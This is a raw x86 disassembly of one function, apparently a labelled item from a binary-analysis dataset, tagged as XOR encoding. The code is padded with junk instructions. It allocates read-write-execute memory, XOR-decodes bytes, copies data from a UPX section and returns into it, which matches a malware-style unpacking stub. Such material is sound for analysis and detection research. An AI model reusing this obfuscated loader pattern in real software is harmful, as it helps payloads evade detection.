Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb1eee34c
mov edi, esi
mov esi, 0xbaf1244e
dec edi
popal
add edi, edi
sub esi, edi
mov edi, 0
mov ecx, esi
not eax
and ebx, eax
mov edx, ecx
mov eax, 0xf9bd6329
mov eax, ebx
not ebx
mov esi, edx
not ebx
add ebx, 0xc756c1c5
mov ebx, eax
inc edi
sub ebx, 0x17d5ad46
add ebx, ebx
sub eax, ebx
cmp edi, 0x10076d4
jne 0xa789c4
add eax, 0xc90abf5a
dec ebx
dec ebx
or edi, esi
sub edi, 1
and edi, esi
mov ecx, 0xa78796
sub esi, 0x3bcb9f32
or edx, edx
mov eax, 0xa7898a
add esi, esi
sub edi, edx
or edi, edi
mov ebx, dword [ecx]
and edx, edi
add esi, edx
and ebx, 0xff
mov edi, esi
add edx, 0xbe5cfc80
xor dword [eax], ebx
add edx, 0xa26bb10f
dec edx
not edi
inc eax
add edi, edi
mov edi, esi
inc ecx
sub edi, edx
add edi, 0xe1f2d2e1
cmp eax, entry0
jl 0xa78a22
inc edi
and edx, edx
sub edi, 0x9b70b03b
add esi, esi
and esi, esi
or edi, edx
sub ebx, 0x668b595c
sub edx, 0x2c52ddcf
mov edx, ebx
mov ecx, 0xa7898e
sub edi, 0xbb011c4c
add esi, ebx
mov ecx, dword [ecx]
not edi
inc edx
sub ebx, edi
mov ecx, dword [ecx]
dec edi
sub esi, 0x63583701
sub ebx, 0x8abf02d9
push ecx
or edi, ebx
sub ebx, 0x8797a77f
mov ecx, 0xa7898a
mov edi, ebx
dec edx
mov ecx, dword [ecx]
or ebx, esi
and ebx, esi
mov ecx, dword [ecx]
sub esi, 0x1b9b4c0
or edx, edi
sub esp, 4
mov dword [esp], 0xa78992
sub esi, ebx
and edi, edx
call ecx
sub ebx, esi
mov edx, 0x25398612
pop ecx
add ebx, edi
sub edi, edx
push 0xa7899f
sub ebx, 0x4dc3ef0e
add esi, esi
sub esp, 4
mov dword [esp], eax
add edi, 0xc9f9acbc
sub ebx, 0xdf89d753
call ecx
sub edx, 0xf6c865d1
not esi
not edi
push 0x40
add edi, ebx
sub esi, edi
push 0x3000
add edx, edx
and esi, edi
push 0x20000019
and ebx, edi
not edx
push 0
or ebx, ebx
sub edx, 0x83caf76
call eax
not edi
inc edx
add eax, 0x1fffff8d
add ebx, esi
sub edx, ebx
not edx
mov ecx, 0xd4136bfc
sub esi, 0x809ff726
inc ebx
sub ebx, 0xe677e730
mov dword [eax], ecx
or edi, esi
or edi, edx
and esi, ebx
mov ecx, dword [eax]
mov edi, ebx
inc edi
cmp ecx, 0xd4136bfc
je 0xa78b6a
mov ecx, 0
mov dword [ecx], edx
dec edi
and ebx, ebx
dec esi
add edx, 0x3915af8f
sub edx, esi
inc ebx
sub edi, 0x323f432a
not esi
mov eax, section.UPX1
sub edi, 0x699af85
not edi
mov ecx, 0xa78795
or esi, edi
sub edi, esi
not esi
mov ebx, 0
not esi
and edi, esi
mov edx, 0xa78796
not esi
sub edi, esi
lea edx, [edx + ebx]
add edi, edi
and esi, edi
mov edx, dword [edx]
mov edi, 0x875e88ab
sub esi, 0x1b1148ce
add esi, 0xdd95c9b0
and edx, 0xff
and edi, esi
sub edi, 0x34e53641
and edi, edi
add ebx, 1
add esi, 1
mov edi, 0x1ac2caf1
cmp ebx, 0x1f4
jne 0xa78bf1
mov ebx, 0
sub esi, 0xe2389e24
and esi, edi
or esi, edi
sub esi, edi
add esi, 0xe9609da8
add edi, 0xd09dc568
xor dword [eax], edx
sub esi, edi
not esi
add eax, 2
add esi, 0x827ba525
dec edi
not edi
cmp eax, ecx
jl 0xa78ba0
inc esi
inc edi
sub edi, esi
add esi, 1
mov edx, section.UPX1
sub edi, esi
mov edi, 0x9c2c6cc1
sub esi, edi
mov ebx, section.UPX1
dec esi
and edi, edi
sub edi, esi
mov ecx, 0xa78795
add edi, edi
mov edi, esi
mov eax, 0
mov edi, esi
sub esi, 0x503108b5
mov al, byte [ebx]
and edi, edi
mov edi, esi
mov esi, 0x923b2036
mov byte [edx], al
sub edi, 0x816a5a97
add edi, 0x3c5a086e
or edi, esi
inc edx
add esi, edi
dec edi
and edi, esi
add ebx, 2
and esi, edi
sub edi, esi
cmp ebx, ecx
jle 0xa78c5e
add edi, 0x825ad11a
mov esi, edi
not esi
add edi, edi
not esi
push 0x8dc6a0
add edi, 0xc5e825
mov edi, 0x9b2871aa
sub esi, 0x4ce07ebb
ret